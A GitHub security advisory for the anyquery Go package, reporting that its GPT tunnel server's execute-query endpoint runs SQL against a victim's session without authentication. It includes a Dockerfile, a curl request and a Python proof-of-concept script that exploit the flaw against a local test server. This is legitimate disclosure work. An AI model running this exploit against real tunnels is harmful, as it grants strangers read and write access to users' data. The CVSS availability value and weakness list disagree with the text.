Skip to content

Unauthenticated Remote Query Execution via GPT Tunnel API

High
julien040 published GHSA-cgx9-879j-533x Aug 5, 2026

Package

gomod github.com/julien040/anyquery (Go)

Affected versions

<= 0.4.0

Patched versions

0.5.0

Description

Unauthenticated Remote Query Execution via GPT Tunnel API

Summary

The anyquery GPT tunnel server exposes a POST /{id}/execute-query HTTP endpoint that accepts and forwards attacker-controlled SQL to a connected victim Anyquery client without any authentication check. Any network-reachable attacker who obtains or guesses an active tunnel ID can silently execute arbitrary SQL against the victim's local Anyquery session, leading to full read/write access to all configured integration data (databases, SaaS plugins, etc.). The vulnerability is enabled by default when users run anyquery gpt. CVSS v3.1 Base Score: 8.9 (High).

Details

The websocket tunnel server (other/websocket_tunnel/server/) hosts two virtual domains via the Host header:

  • tunnel.anyquery.xyz — victim-facing: creates tunnels and upgrades WebSocket connections. The WebSocket upgrade handler (websocket.go:44–74) does validate a Bearer token.
  • gpt.anyquery.xyz — LLM-facing: exposes resource endpoints intended for GPT / LLM clients. The route registration and all three resource handlers are entirely unauthenticated.

The vulnerable route is registered in other/websocket_tunnel/server/server.go:149:

r.Post("/{id}/execute-query", s.executeQueryAPI)

No authentication middleware wraps the gptRouter. The handler in other/websocket_tunnel/server/controller.go:126–151 reads the tunnel ID from the URL and the SQL from the JSON body, then directly calls s.executeQuery() with no Authorization header inspection:

// controller.go:126-143 (simplified)
func (s *server) executeQueryAPI(w http.ResponseWriter, req *http.Request) {
    id := chi.URLParam(req, "id")
    // ... no auth check ...
    var body struct{ Query string }
    json.NewDecoder(req.Body).Decode(&body)
    res, err := s.executeQuery(id, body.Query)
    ...
}

The full data flow from attacker HTTP request to victim SQL execution:

  1. server.go:149gptRouter registers POST /{id}/execute-query with no middleware.
  2. controller.go:127id sourced from URL parameter.
  3. controller.go:138body.Query sourced from request JSON body.
  4. controller.go:143s.executeQuery(id, body.Query) called with zero authorization checks.
  5. websocket.go:255–267 — attacker SQL is serialized and written to the victim's WebSocket session.
  6. controller/llm.go:311–322 — victim client receives "execute-query" message and invokes executeQueryLLM(db, req.Args[0].(string), &textRes).
  7. controller/llm.go:180–200sh.Run(query) is called (sink).
  8. controller/middleware.go:342 / :350 — SQL reaches DB.Query(...) or DB.Exec(...) (final sink).

The auth guard in websocket.go:44–74 applies exclusively to the victim's WebSocket upgrade and does not protect the HTTP API endpoints used by the attacker.

Tunnel mode is on by default: controller/llm.go:238–240 sets tunnelEnabled = true when no explicit host/port is provided (the normal anyquery gpt invocation).

The tunnel ID (generateRandomID(8), 8 lowercase letters, ~15 billion combinations) is the sole barrier. However, the ID is intentionally shared with LLM services (ChatGPT, etc.) as part of normal usage, and the server applies no rate limiting to the gptRouter, making enumeration or leakage realistic.

PoC

Prerequisites:

  • Docker installed.
  • Repository cloned to a local path such that repo/other/websocket_tunnel/server/ is present.

Build the Docker image (from the repository root):

docker build \
  -f vuln-001/Dockerfile \
  -t anyquery-vuln001 \
  reports/github_web_340_julien040__anyquery

Run the PoC (the container starts the tunnel server and executes poc.py automatically):

docker run --rm anyquery-vuln001

What the PoC does (poc.py):

  1. Starts the tunnel server binary compiled from repo source on 127.0.0.1:5566.
  2. Victim registers a new tunnel via POST /tunnel/new (Host: tunnel.anyquery.xyz) with Authorization: Bearer poc-victim-secret-token-xyz, obtaining a tunnel ID (e.g., iletihjf).
  3. Victim upgrades to WebSocket at /websocket-anyquery?tunnel_id=<id> — auth is validated here.
  4. Attacker sends a POST request with no Authorization header:
curl -i \
  -H 'Host: gpt.anyquery.xyz' \
  -H 'Content-Type: application/json' \
  -X POST "http://127.0.0.1:5566/iletihjf/execute-query" \
  --data '{"query":"SELECT '"'"'attacker_was_here'"'"' AS injected, 1337 AS pwned"}'

Expected (secure) response: HTTP 401 Unauthorized

Actual observed response:

HTTP/1.1 200 OK
[VICTIM recv] method='execute-query'  args=["SELECT 'attacker_was_here' AS injected, 1337 AS pwned"]
Body: "victim_result_for: SELECT 'attacker_was_here' AS injected, 1337 AS pwned"

RESULT: PASS — VULNERABILITY CONFIRMED
  * POST /iletihjf/execute-query returned HTTP 200 with NO auth header
  * Victim received execute-query: "SELECT 'attacker_was_here' AS injected, 1337 AS pwned"
  * Attacker received response   : "victim_result_for: SELECT 'attacker_was_here' AS injected, 1337 AS pwned"
  Expected: HTTP 401 Unauthorized
  Actual  : HTTP 200 — attacker SQL forwarded through victim session

Impact

This is a Missing Authentication for Critical Function vulnerability (CWE-306). Any remote, unauthenticated attacker who obtains or enumerates an active tunnel ID can:

  • Read all data accessible through the victim's Anyquery session (databases, SaaS integrations, file-based plugins).
  • Write/modify data via INSERT, UPDATE, or DELETE SQL statements forwarded to the victim client.
  • Enumerate schema through the similarly unauthenticated listTablesAPI and describeTableAPI endpoints.

Affected users are everyone who runs anyquery gpt in the default tunnel mode (no explicit -host/-port flag). The tunnel ID is intentionally distributed to LLM providers, increasing the chance of leakage. Production deployments at gpt.anyquery.xyz are impacted at internet scale.

Reproduction artifacts

Dockerfile

# VULN-001 PoC: Unauthenticated Remote Query Execution via GPT Tunnel API
# CWE-306 | anyquery websocket_tunnel server
#
# Build context: reports/github_web_340_julien040__anyquery/
#   docker build -f vuln-001/Dockerfile -t anyquery-vuln001 .
#   docker run --rm anyquery-vuln001

# Stage 1: Build the tunnel server binary from the cloned repo source
FROM golang:1.24-alpine AS builder
WORKDIR /build
# Copy only the tunnel server module (has its own go.mod)
COPY repo/other/websocket_tunnel/server/ .
# Build a fully self-contained binary (modernc/sqlite is pure-Go, no CGo needed)
RUN go build -o /tunnel-server .

# Stage 2: Python runtime for the PoC script
FROM python:3.11-alpine
RUN pip install --no-cache-dir requests websocket-client

# Copy the compiled server and the PoC
COPY --from=builder /tunnel-server /usr/local/bin/tunnel-server
COPY vuln-001/poc.py /poc.py

WORKDIR /tmp
ENTRYPOINT ["python3", "/poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Remote Query Execution via GPT Tunnel API
Repository: julien040/anyquery  (commit 981f706)
CWE-306: Missing Authentication for Critical Function
CVSSv3.1: 8.9 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L

Root cause (server.go:149):
    gptRouter registers POST /{id}/execute-query with NO authentication middleware.

Vulnerable handler (controller.go:126-151):
    executeQueryAPI reads id + body.Query and calls s.executeQuery() with zero
    Authorization checks. Contrast with websocket.go:44-74 where the victim's
    WebSocket upgrade DOES validate the Bearer token — the auth guard only
    protects the victim-side connection, not the attacker-facing HTTP endpoint.

Data flow proven here:
    HTTP POST /{id}/execute-query (no Auth)
      -> controller.go:143  s.executeQuery(id, body.Query)
      -> websocket.go:267   session.Write(serialized request)
      -> victim WebSocket receives {"method":"execute-query","args":["<SQL>"]}
      -> server relays victim response back to HTTP caller (HTTP 200)

Expected secure behaviour: HTTP 401 Unauthorized.
Actual observed behaviour:  HTTP 200 with attacker SQL forwarded to victim session.
"""

import json
import subprocess
import sys
import threading
import time

import requests
import websocket  # websocket-client package

SERVER_ADDR = "127.0.0.1:5566"
BASE_URL = f"http://{SERVER_ADDR}"
WS_BASE = f"ws://{SERVER_ADDR}"

# Victim credentials — only the victim knows these
VICTIM_TOKEN = "poc-victim-secret-token-xyz"

# Attacker-controlled SQL — the attacker does NOT know the victim token
ATTACKER_SQL = "SELECT 'attacker_was_here' AS injected, 1337 AS pwned"


# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------

def wait_for_server(timeout: int = 15) -> bool:
    """Poll /ping until the tunnel server is accepting connections."""
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = requests.get(f"{BASE_URL}/ping", timeout=1)
            if r.status_code == 200:
                return True
        except Exception:
            pass
        time.sleep(0.25)
    return False


# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------

def main() -> int:
    print("=" * 64)
    print("VULN-001 PoC: Unauthenticated GPT Tunnel execute-query")
    print("CWE-306 | anyquery websocket_tunnel server")
    print("=" * 64)

    # ------------------------------------------------------------------
    # Step 1: Start the tunnel server (built from cloned repo source)
    # ------------------------------------------------------------------
    print("\n[1] Starting anyquery tunnel server ...")
    server = subprocess.Popen(
        ["tunnel-server", "-w", "-a", SERVER_ADDR, "-d", "/tmp/poc.db"],
        stdout=subprocess.DEVNULL,
        stderr=subprocess.PIPE,
    )

    if not wait_for_server():
        stderr_out = server.stderr.read()
        print(f"[!] Server failed to start:\n{stderr_out.decode(errors='replace')}")
        server.terminate()
        return 1
    print(f"    Server ready at {SERVER_ADDR}")

    # ------------------------------------------------------------------
    # Step 2: Victim creates a tunnel (victim_token is their secret)
    # POST /tunnel/new with Host: tunnel.anyquery.xyz
    # ------------------------------------------------------------------
    print("\n[2] Victim registers a tunnel (POST /tunnel/new) ...")
    resp = requests.post(
        f"{BASE_URL}/tunnel/new",
        headers={
            "Host": "tunnel.anyquery.xyz",
            "Authorization": VICTIM_TOKEN,
        },
    )
    if resp.status_code != 200:
        print(f"[!] Failed to create tunnel: {resp.text}")
        server.terminate()
        return 1

    tunnel_id = resp.json()["id"]
    print(f"    Tunnel ID: {tunnel_id}  (only victim knows this + the token)")

    # ------------------------------------------------------------------
    # Step 3: Victim connects their WebSocket (simulates 'anyquery gpt')
    # Authentication IS required here (websocket.go:44-74)
    # ------------------------------------------------------------------
    print("\n[3] Victim connects WebSocket to /websocket-anyquery ...")
    victim_ws = websocket.WebSocket()
    victim_ws.connect(
        f"{WS_BASE}/websocket-anyquery?tunnel_id={tunnel_id}",
        header=[f"Authorization: Bearer {VICTIM_TOKEN}"],
    )
    print("    Victim WebSocket authenticated and connected.")

    victim_queries: list = []

    def victim_loop():
        """Simulate the local anyquery client processing execute-query messages."""
        while True:
            try:
                raw = victim_ws.recv()
                if not raw:
                    break
                req = json.loads(raw)
                method = req.get("method", "")
                args = req.get("args", [])
                request_id = req.get("request_id", "")
                victim_queries.append({"method": method, "args": args})
                print(f"    [VICTIM recv] method={method!r}  args={args!r}")
                # Victim client responds (controller/llm.go:311-322 analogue)
                victim_ws.send(json.dumps({
                    "request_id": request_id,
                    "result": f"victim_result_for: {args[0] if args else ''}",
                    "error": "",
                }))
            except Exception as exc:
                print(f"    [VICTIM] connection closed: {exc}")
                break

    threading.Thread(target=victim_loop, daemon=True).start()
    time.sleep(0.3)  # Allow victim thread to enter recv()

    # ------------------------------------------------------------------
    # Step 4: ATTACKER sends unauthenticated POST /{id}/execute-query
    # No Authorization header — this is the vulnerability being proved.
    # Host: gpt.anyquery.xyz routes to gptRouter (server.go:149)
    # ------------------------------------------------------------------
    print("\n[4] ATTACKER sends unauthenticated execute-query ...")
    print(f"    URL  : POST {BASE_URL}/{tunnel_id}/execute-query")
    print(f"    Host : gpt.anyquery.xyz")
    print(f"    Auth : (none)")
    print(f"    SQL  : {ATTACKER_SQL}")

    try:
        atk = requests.post(
            f"{BASE_URL}/{tunnel_id}/execute-query",
            headers={
                "Host": "gpt.anyquery.xyz",
                "Content-Type": "application/json",
                # *** Deliberately NO Authorization header ***
            },
            json={"query": ATTACKER_SQL},
            timeout=15,
        )
    except requests.Timeout:
        print("[!] Request timed out — victim WebSocket may not be responding.")
        server.terminate()
        return 1

    print(f"\n[5] Attacker received HTTP {atk.status_code}")
    print(f"    Body: {atk.text.strip()!r}")

    # Allow victim thread to record the message
    time.sleep(0.2)

    # ------------------------------------------------------------------
    # Evaluate
    # ------------------------------------------------------------------
    print("\n" + "=" * 64)

    victim_got_sql = (
        len(victim_queries) > 0
        and len(victim_queries[0].get("args", [])) > 0
        and victim_queries[0]["args"][0] == ATTACKER_SQL
    )

    if atk.status_code == 200 and victim_got_sql:
        print("RESULT: PASS — VULNERABILITY CONFIRMED")
        print(f"  * POST /{tunnel_id}/execute-query returned HTTP 200 with NO auth header")
        print(f"  * Victim received execute-query: {victim_queries[0]['args'][0]!r}")
        print(f"  * Attacker received response   : {atk.text.strip()!r}")
        print()
        print("  Expected: HTTP 401 Unauthorized (missing auth guard)")
        print("  Actual  : HTTP 200 — attacker SQL forwarded through victim session")
        print()
        print("  Vulnerable code path:")
        print("    server.go:149          gptRouter registers /{id}/execute-query (no auth middleware)")
        print("    controller.go:126-143  executeQueryAPI calls s.executeQuery() with no auth check")
        print("    websocket.go:255-267   query written to victim WebSocket session")
        server.terminate()
        return 0

    elif atk.status_code == 401:
        print("RESULT: FAIL — Server returned 401 (vulnerability may already be patched)")
        server.terminate()
        return 1

    elif atk.status_code == 200 and not victim_got_sql:
        print(f"RESULT: INCOMPLETE — HTTP 200 but victim did not receive SQL as expected")
        print(f"  victim_queries = {victim_queries}")
        print(f"  attacker body  = {atk.text!r}")
        server.terminate()
        return 1

    else:
        print(f"RESULT: INCOMPLETE — Unexpected HTTP {atk.status_code}")
        print(f"  Body          : {atk.text!r}")
        print(f"  victim_queries: {victim_queries}")
        server.terminate()
        return 1


if __name__ == "__main__":
    sys.exit(main())

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Use of Insufficiently Random Values

The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers. Learn more on MITRE.

Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong. Learn more on MITRE.

Insertion of Sensitive Information into Log File

The product writes sensitive information to a log file. Learn more on MITRE.

Credits